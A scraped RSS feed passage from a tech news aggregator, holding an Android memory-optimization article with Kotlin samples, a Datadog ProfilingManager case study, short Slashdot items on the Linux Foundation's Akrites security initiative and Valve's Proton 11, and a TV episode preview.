                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Datadog delivers millions of in-depth performance insights with ProfilingManager]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog


  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Althoug...]]></description>
<link>https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:39 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/a/AVvXsEh92CmF7Hos-AKsEmr3k9Va10fhbed32pj4r9wxbUAlpyAIh2GV0KhvsRYzkmATQgflpHYdfAgdFkRfq1ki2G7ty5wKfzoaoyYknCOEjb6Auz7r0Zcfk0tR6VCX-3o3L9fpcs419uI5iNdBiOtno7ughGWD0SGJ5n3sfWPEB7ZJ9M_HQFDLhBQ_hv3HFQ8">
<p>Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog</p><p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA"><img alt="" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA=s16000"></a></div><br><br><p></p>

<p>
  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.
</p>

<p>Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the <em>why</em> behind a performance bottleneck.
</p>

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

<h3>The impact of ProfilingManager</h3><p>
  ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s1280/AANDDM_DataDog_Quote_01.png"><img alt="ProfilingManager is a highly performant solution for code-level insights.  Of the solutions we evaluated, it has the lowest runtime overhead,  gives deep visibility into Java, Kotlin, and C++ traces, and opens the door to gather memory profiles and system-level traces during critical moments like ANRs and out-of-memory (OOM) errors. Yi Lu, Senior Engineer at Datadog" border="0" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s16000/AANDDM_DataDog_Quote_01.png"></a></div><br><p><br></p>

For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

<h3>Solving the Android code-level visibility challenge</h3><p>
  Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.</p><div><span face='"Google Sans", sans-serif'><br></span></div><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o"><img alt="We realized that across our profiling features, performance profiling on mobile applications remained a blind spot. Teams could see that an Android user experienced a slow screen render or an ANR, but lacked the same code-level visibility they relied on for their backend services. - Bryan Antigua, Senior Product Manager at Datadog" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o=s16000"></a></div><br><br><p></p>

<p>
  To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.
</p>

<p>
  ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health. 
</p>

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:

<ul>
  <li>
    <strong>Granular session diagnostics:</strong> ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the <a href="https://ui.perfetto.dev/">Perfetto UI</a>. 
  </li>
  <li>
    <strong>Automated telemetry triggers:</strong> By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*xix6h8*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_APP_FULLY_DRAWN">APP_FULLY_DRAWN </a>signal, there are already plans to expand this observability to include <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1hl4p7n*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_ANR">ANR</a>, <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*8x3pd*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_OOM">OOM</a>, and <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1ezx2ma*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_COLD_START">COLD_START</a> triggers.</li>
  <li>
    <strong>Proactive trace snapshots:</strong> By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation. 
  </li>
  <li>
    <strong>Bottleneck detection at scale:</strong> Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
  </li>
  <li>
    <strong>System-enforced resource stability:</strong> The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
  </li>
  <li>
    <strong>On-device data controls:</strong> ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.</li>
</ul>

<h3>Processing millions of weekly profiles to optimize real-world apps</h3><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s3464/datadog-profiling-blogpost-final.png"><img border="0" data-original-height="1686" data-original-width="3464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s16000/datadog-profiling-blogpost-final.png"></a></div><i><div><i>An example of Datadog's time to initial display measurement with </i></div><div><i>stack sampling powered by ProfilingManager</i></div></i><br>Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. <span><span>Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. </span></span>Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.<br><br>The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices. <p></p><h3>Conclusion</h3><p>By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/overview">documentation</a>.</p>

<p>
  In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.
</p>

<p>
  To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit <a href="https://www.datadoghq.com/dg/real-user-monitoring/android-profiling/?utm_source=inbound&amp;utm_medium=corpsite-display&amp;utm_campaign=int-rum-ww-blog-announcement-announcement-androidprofilerblog2026">Datadog Mobile Real User Monitoring</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Linux Foundation Launches Akrites To Coordinate AI-Driven Open Source Security]]></title>
<description><![CDATA[BrianFagioli writes: The Linux Foundation has announced Akrites, a new initiative to coordinate vulnerability disclosure and remediation for critical open source software as AI dramatically speeds up vulnerability discovery. Founding members include AWS, Google, Microsoft, OpenAI, Red Hat, NVIDIA...]]></description>
<link>https://tsecurity.de/de/3693462/linux-tipps/linux-foundation-launches-akrites-to-coordinate-ai-driven-open-source-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693462/linux-tipps/linux-foundation-launches-akrites-to-coordinate-ai-driven-open-source-security/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:54 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[BrianFagioli writes: The Linux Foundation has announced Akrites, a new initiative to coordinate vulnerability disclosure and remediation for critical open source software as AI dramatically speeds up vulnerability discovery. Founding members include AWS, Google, Microsoft, OpenAI, Red Hat, NVIDIA, IBM, Cisco, JPMorganChase, and others. Akrites will provide a shared Security Incident Response Team (SIRT), a standardized coordinated vulnerability disclosure process, and act as a "maintainer of last resort" for abandoned but widely used packages.
 
The goal is to reduce duplicate reports, avoid conflicting patches, and help upstream maintainers address vulnerabilities before they can be exploited. As AI makes it easier to find security flaws, can a coordinated industry effort help protect open source, or does it risk giving large corporations too much influence over the ecosystem? "Akrites is the largest coordinated effort in history to create systems and deploy tooling that leverages the collective power of the community to make everyone safer," the Linux Foundation said in an open letter. "Akrites participants will contribute engineering resources; work to build and ship fixes; or fund the engineers who do. Some companies have contributed mightily already. The reality is, collectively, we need to contribute more."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Linux+Foundation+Launches+Akrites+To+Coordinate+AI-Driven+Open+Source+Security%3A+https%3A%2F%2Flinux.slashdot.org%2Fstory%2F26%2F06%2F25%2F2031228%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Flinux.slashdot.org%2Fstory%2F26%2F06%2F25%2F2031228%2Flinux-foundation-launches-akrites-to-coordinate-ai-driven-open-source-security%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://linux.slashdot.org/story/26/06/25/2031228/linux-foundation-launches-akrites-to-coordinate-ai-driven-open-source-security?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Valve Releases Proton 11 With Huge Linux Gaming Improvements]]></title>
<description><![CDATA[BrianFagioli writes: Valve has released Proton 11.0-1, a major update to its Windows compatibility layer for Linux that makes more games playable while fixing a long list of bugs affecting existing titles. The release restores compatibility for many EA games after a recent EA App update, moves cl...]]></description>
<link>https://tsecurity.de/de/3693459/linux-tipps/valve-releases-proton-11-with-huge-linux-gaming-improvements/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693459/linux-tipps/valve-releases-proton-11-with-huge-linux-gaming-improvements/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:46 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[BrianFagioli writes: Valve has released Proton 11.0-1, a major update to its Windows compatibility layer for Linux that makes more games playable while fixing a long list of bugs affecting existing titles. The release restores compatibility for many EA games after a recent EA App update, moves classics like Resident Evil (1996), Resident Evil 2 (1998), Dino Crisis, and SHOGUN: Total War from Proton Experimental into the stable release, and adds support for games including Gothic 1 Classic, X-Plane 12, Breath of Fire IV, and Deadly Premonition. Valve also fixed crashes in HELLDIVERS 2, restored No Man's Sky VR support, improved Steam Overlay compatibility with EA games, addressed KDE and GNOME desktop issues, and rebased Proton on Wine 11.0 with updated graphics components. The full list of changes can be found here.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Valve+Releases+Proton+11+With+Huge+Linux+Gaming+Improvements%3A+https%3A%2F%2Fgames.slashdot.org%2Fstory%2F26%2F07%2F08%2F0713204%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fgames.slashdot.org%2Fstory%2F26%2F07%2F08%2F0713204%2Fvalve-releases-proton-11-with-huge-linux-gaming-improvements%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://games.slashdot.org/story/26/07/08/0713204/valve-releases-proton-11-with-huge-linux-gaming-improvements?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Sugar’ Season 2, Episode 7 Release Date and What to Expect]]></title>
<description><![CDATA[“Sugar” Season 2, Episode 7 will arrive on Apple TV on Friday, July 31, 2026. The upcoming chapter serves as the penultimate episode, bringing John Sugar closer to the truth behind his latest case while his conflict with Deputy Vega reaches a dangerous stage.



The neo-noir detective series retu...]]></description>
<link>https://tsecurity.de/de/3693442/ios-mac-os/sugar-season-2-episode-7-release-date-and-what-to-expect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693442/ios-mac-os/sugar-season-2-episode-7-release-date-and-what-to-expect/</guid>
<pubDate>Sat, 25 Jul 2026 10:05:43 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[“Sugar” Season 2, Episode 7 will arrive on Apple TV on Friday, July 31, 2026. The upcoming chapter serves as the penultimate episode, bringing John Sugar closer to the truth behind his latest case while his conflict with Deputy Vega reaches a dangerous stage.



The neo-noir detective series returned for its second season on June 19, with Colin Farrell once again playing the mysterious private investigator. New episodes have followed every Friday, and the eight-episode season will conclude on August 7.




Release date: Friday, July 31, 2026



Streaming platform: Apple TV



Season: 2



Episode: 7



Genre: Crime, drama, mystery and neo-noir



Season finale: Friday, August 7, 2026




What is happening in ‘Sugar’ Season 2?



Spoilers ahead for Season 2, Episode 6.



Season 2 follows Sugar as he investigates another disappearance in Los Angeles while continuing his personal search for his missing sister, Djen. His new case involves the disappearance of a boxer’s brother, but the investigation has gradually exposed a much larger criminal operation involving drugs, false death records and housing fraud.



Episode 6, titled “Cautionary Tale,” explored Sugar’s past and his growing fear that life on Earth has changed him. A flashback involving Peg Rosenthal showed the emotional damage caused when members of his alien community become too attached to human desires.



Meanwhile, Sugar obtained evidence connected to Operation: Fire Sale and confronted the increasingly unstable Deputy Vega. He stopped himself from killing Vega, although the episode’s final bar encounter made it clear that their conflict remains unresolved.



What to expect from Episode 7



Episode 7 will likely push Sugar and Vega toward a direct confrontation. Vega’s threat against Ji Moon gives Sugar another reason to act, while the evidence surrounding Operation: Fire Sale can expose everyone involved in the scheme.



The episode should also bring Sugar’s new investigation closer to a resolution before the finale. However, his search for Djen and his unfinished business with Henry remain part of the larger story that began in Season 1.



